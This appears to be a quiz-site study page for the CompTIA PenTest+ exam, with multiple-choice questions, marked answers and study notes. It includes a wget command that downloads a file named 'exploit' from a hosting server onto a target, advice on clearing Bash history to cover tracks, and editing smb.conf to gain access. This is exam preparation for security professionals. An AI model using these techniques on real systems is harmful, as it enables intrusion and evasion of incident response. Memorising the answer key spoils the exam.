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CompTIA PenTest+ Exam Overview
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CompTIA PenTest+ Exam Overview

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Questions and Answers

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

  • chmod u+e script.sh
  • chmod o+x script.sh
  • chmod u+x script.sh (correct)
  • chmod o+e script.sh
  • Which of the following actions is the tester MOST likely performing?

  • Making a copy of the user’s Bash history to further enumeration
  • Covering tracks by clearing the Bash history (correct)
  • Redirecting Bash history to /dev/null
  • Making decoy files on the system to confuse incident responders
  • A compliance-based penetration test is primarily concerned with:

  • Obtaining specific information from the protected network.
  • Determining the efficacy of a specific set of security standards. (correct)
  • Bypassing protection on edge devices.
  • Obtaining PII from the protected network.
  • Which of the following would the tester MOST likely describe as a benefit of the MITRE ATT&CK framework?

    <p>Understanding the tactics of a security intrusion can help disrupt them.</p> Signup and view all the answers

    Which of the following BEST describes the OWASP Top 10?

    <p>The most critical risks of web applications.</p> Signup and view all the answers

    Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

    <p>Edit the smb.conf file and upload it to the server.</p> Signup and view all the answers

    Which of the following should the tester verify FIRST to assess risk?

    <p>Whether sensitive client data is publicly accessible.</p> Signup and view all the answers

    Which of the following commands could be used to download a file named exploit to a target machine for execution?

    <p>wget 10.10.51.50:9891/exploit</p> Signup and view all the answers

    Which of the following commands should the penetration tester run post-engagement?

    <p>rm -rf /tmp/apache</p> Signup and view all the answers

    Study Notes

    CompTIA PenTest+ Exam Overview

    • Exam code: PT0-002
    • Total questions: 68
    • Focus: Practical skills in pentesting

    Key Commands in Penetration Testing

    • chmod u+x script.sh: Grants execution permission to the file owner for a shell script.
    • To obscure activity, penetration testers may redirect or clear Bash history.

    Persistence and Covering Tracks

    • Covering tracks is critical; most likely actions include clearing Bash history after gaining system access.

    Compliance-Based Penetration Testing

    • Primarily concerns assessing the effectiveness of security standards rather than bypassing protections or obtaining sensitive information.

    MITRE ATT&CK Framework

    • Useful for understanding security intrusion tactics, helping to disrupt existing intrusions and improve security posture.

    OWASP Top 10

    • Represents the most critical risks in web applications.
    • Does not list all risks or provide compliance guidelines; focuses on the most significant vulnerabilities.

    Vulnerability Discovery and Exploitation

    • Path traversal vulnerabilities can allow file uploads; editing critical configuration files (like smb.conf) may provide internal access to attackers.

    Cloud Security Testing

    • Initial assessment of security should verify if sensitive client data is publicly accessible before exploring other security measures.

    File Transfer via HTTP Server

    • python -m SimpleHTTPServer 9891 can be used to host files; the wget command allows for file download from this server.

    Post-Engagement Actions

    • When access has been gained, removing evidence (like temporary files created during the exploitation) is crucial for operational security.

    Reporting in Static Application-Security Testing

    • Final reports should include a summary of methods and action points relevant for developers, ensuring they understand both vulnerabilities and remediation strategies.

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    Related Documents

    PT0-002-dg-re-les3ks.pdf

    Description

    Prepare for the CompTIA PenTest+ Exam (PT0-002) with this comprehensive overview. Test your knowledge on key commands, persistence techniques, and the importance of compliance in penetration testing. Understand the MITRE ATT&CK framework and the OWASP Top 10 to elevate your security skills.

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